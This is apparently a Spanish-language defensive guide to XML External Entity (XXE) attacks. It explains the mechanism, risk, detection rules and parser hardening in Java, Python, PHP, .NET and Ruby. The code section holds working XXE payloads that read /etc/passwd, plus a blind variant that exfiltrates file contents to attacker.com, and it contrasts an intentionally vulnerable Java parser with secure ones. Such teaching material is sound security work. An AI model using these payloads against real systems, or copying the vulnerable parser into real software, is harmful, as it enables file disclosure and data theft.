Ataque de Entidad Externa XML (XXE)

Cómo Funciona Ataque de Entidad Externa XML (XXE)

XML soporta una característica llamada entidades externas, definidas en una Definición de Tipo de Documento (DTD). Una entidad es esencialmente una variable: <!ENTITY nombre "valor"> define una entidad interna, mientras que <!ENTITY nombre SYSTEM "file:///etc/passwd"> define una entidad externa que carga su valor desde un recurso externo — un archivo local, una URL o incluso un servicio de red. Cuando un parser XML vulnerable procesa la entrada que contiene estas declaraciones y luego expande la referencia de entidad (&nombre;) en el cuerpo del documento, obtiene el recurso externo e incluye su contenido en la salida parseada. El atacante no necesita acceso especial — simplemente envía XML manipulado a cualquier endpoint que parsee entrada XML.

Ejemplos Reales

Impacto y Evaluación de Riesgo

XXE se clasifica como Alto (y fue una categoría dedicada del OWASP Top 10 en 2017 como A4: Entidades Externas XML) porque proporciona un kit de herramientas versátil para atacantes: la divulgación de archivos locales revela credenciales, claves y código fuente; SSRF habilita el acceso a endpoints de metadatos de la nube y servicios internos; DoS vía bombas XML puede colapsar sistemas de producción; y en configuraciones específicas, la ejecución de código es alcanzable. La superficie de ataque es engañosamente grande — XXE no se limita a APIs XML explícitas. Cualquier aplicación que procese DOCX, XLSX, SVG, SAML, RSS, SOAP o archivos de configuración puede ser vulnerable. La prevalencia de XML en sistemas empresariales (servicios SOAP, SAML SSO, pipelines de procesamiento de documentos) significa que XXE continúa afectando infraestructura crítica incluso mientras las aplicaciones más nuevas migran a JSON. Los programas de bug bounty clasifican consistentemente a XXE entre las 10 clases de vulnerabilidad más reportadas.

Cómo Detectar Ataque de Entidad Externa XML (XXE)

Monitorear indicadores de XXE en múltiples capas: (1) Reglas del WAF que detecten declaraciones DOCTYPE, definiciones ENTITY y palabras clave SYSTEM/PUBLIC en cargas XML entrantes — estas raramente aparecen en entrada legítima de aplicaciones; (2) Escanear referencias de entidades (&xxe;, &#x25;) y URIs sospechosas en contenido XML (file://, expect://, php://, http:// apuntando a IPs internas o endpoints de metadatos); (3) Monitorear conexiones de red salientes desde servicios de procesamiento XML — un parser realizando solicitudes HTTP/DNS a destinos inesperados indica explotación de XXE o SSRF; (4) Registro a nivel de aplicación que registre eventos de parseo XML y marque cualquier resolución de entidad externa; (5) Monitoreo de memoria en servicios de procesamiento XML — picos repentinos de memoria indican ataques de bomba XML (Billion Laughs); (6) Reglas de detección de intrusiones para cargas XXE conocidas en cuerpos de solicitudes HTTP y contenido de subidas multipart.

Cómo Prevenir Ataque de Entidad Externa XML (XXE)

La defensa principal es deshabilitar el procesamiento de entidades externas en el parser XML — este único cambio de configuración neutraliza casi todas las variantes de XXE. La implementación varía por lenguaje: (1) Java: DocumentBuilderFactory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true) o usar defusedxml; (2) Python: usar la biblioteca defusedxml en lugar de xml.etree, o establecer forbid_dtd=True, forbid_entities=True, forbid_external=True en el parser; (3) PHP: libxml_disable_entity_loader(true) (PHP < 8.0) o asegurar que LIBXML_NOENT nunca se pase al parser; (4) .NET: XmlReaderSettings.DtdProcessing = DtdProcessing.Prohibit; (5) Ruby/Nokogiri: Nokogiri::XML(input) { |config| config.noent.nonet }. Adicionalmente: validar y sanitizar entrada XML usando esquemas (XSD), rechazar XML que contenga declaraciones DOCTYPE a nivel de WAF, convertir APIs XML a JSON donde sea posible, mantener actualizadas las bibliotecas de procesamiento XML, y aplicar mínimo privilegio a la cuenta de servicio que ejecuta el procesamiento XML para limitar el impacto de la divulgación de archivos.

Ejemplos de Código

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<user>
  <name>&xxe;</name>
  <email>attacker@example.com</email>
</user>

<!-- Server response includes the contents of /etc/passwd:
<user>
  <name>root:x:0:0:root:/root:/bin/bash
  daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
  ...</name>
  <email>attacker@example.com</email>
</user>
-->

<!-- Blind XXE via out-of-band exfiltration: -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [
  <!ENTITY % file SYSTEM "file:///etc/hostname">
  <!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">
  %dtd;
]>
<data>&send;</data>

<!-- evil.dtd hosted on attacker's server:
  <!ENTITY % payload "<!ENTITY send SYSTEM 'http://attacker.com/exfil?d=%file;'>">
  %payload;
-->

import javax.xml.parsers.DocumentBuilderFactory;
import javax.xml.parsers.DocumentBuilder;
import org.w3c.dom.Document;
import java.io.ByteArrayInputStream;

public class XMLProcessor {

    // VULNERABLE: Default Java DocumentBuilder allows external entities
    public Document parseUnsafe(String xml) throws Exception {
        DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
        // No security features configured — XXE is possible!
        DocumentBuilder builder = factory.newDocumentBuilder();
        return builder.parse(new ByteArrayInputStream(xml.getBytes()));
    }

    // SECURE: Disable DTDs and external entities entirely
    public Document parseSafe(String xml) throws Exception {
        DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();

        // Disallow DTDs entirely (the nuclear option — most effective)
        factory.setFeature(
            "http://apache.org/xml/features/disallow-doctype-decl", true);

        // Defense-in-depth: disable external entities even if DTD is somehow allowed
        factory.setFeature(
            "http://xml.org/sax/features/external-general-entities", false);
        factory.setFeature(
            "http://xml.org/sax/features/external-parameter-entities", false);

        // Disable external DTD loading
        factory.setFeature(
            "http://apache.org/xml/features/nonvalidating/load-external-dtd", false);

        // Disable XInclude processing
        factory.setXIncludeAware(false);
        factory.setExpandEntityReferences(false);

        DocumentBuilder builder = factory.newDocumentBuilder();
        return builder.parse(new ByteArrayInputStream(xml.getBytes()));
    }
}

# VULNERABLE: Standard library XML parsers are XXE-prone
# import xml.etree.ElementTree as ET  # DO NOT USE for untrusted XML
# tree = ET.parse('input.xml')         # Allows external entities!

# SECURE: Use the defusedxml library (pip install defusedxml)
import defusedxml.ElementTree as ET
from defusedxml import DefusedXmlException
from defusedxml.common import DTDForbidden, EntitiesForbidden

def parse_xml_safely(xml_string: str) -> dict:
    """Parse XML input with all dangerous features disabled."""
    try:
        # defusedxml automatically blocks:
        # - DTD processing
        # - External entity expansion
        # - External DTD loading
        # - Entity expansion beyond configurable limits
        root = ET.fromstring(xml_string)

        return {
            'tag': root.tag,
            'text': root.text,
            'children': [
                {'tag': child.tag, 'text': child.text}
                for child in root
            ]
        }

    except DTDForbidden:
        raise ValueError('XML with DTD declarations is not allowed')
    except EntitiesForbidden:
        raise ValueError('XML with entity definitions is not allowed')
    except DefusedXmlException as e:
        raise ValueError(f'Potentially malicious XML blocked: {e}')
    except ET.ParseError as e:
        raise ValueError(f'Invalid XML: {e}')


# For DOCX/XLSX/SVG file processing:
def safe_process_docx(file_path: str):
    """Process DOCX files with XXE protection."""
    import zipfile
    import defusedxml.ElementTree as SafeET

    with zipfile.ZipFile(file_path, 'r') as z:
        # DOCX internal XML files that could contain XXE
        for xml_file in ['word/document.xml', 'word/styles.xml']:
            if xml_file in z.namelist():
                with z.open(xml_file) as f:
                    # Parse each internal XML file safely
                    tree = SafeET.parse(f)  # XXE blocked automatically

Preguntas Frecuentes

Ataques Relacionados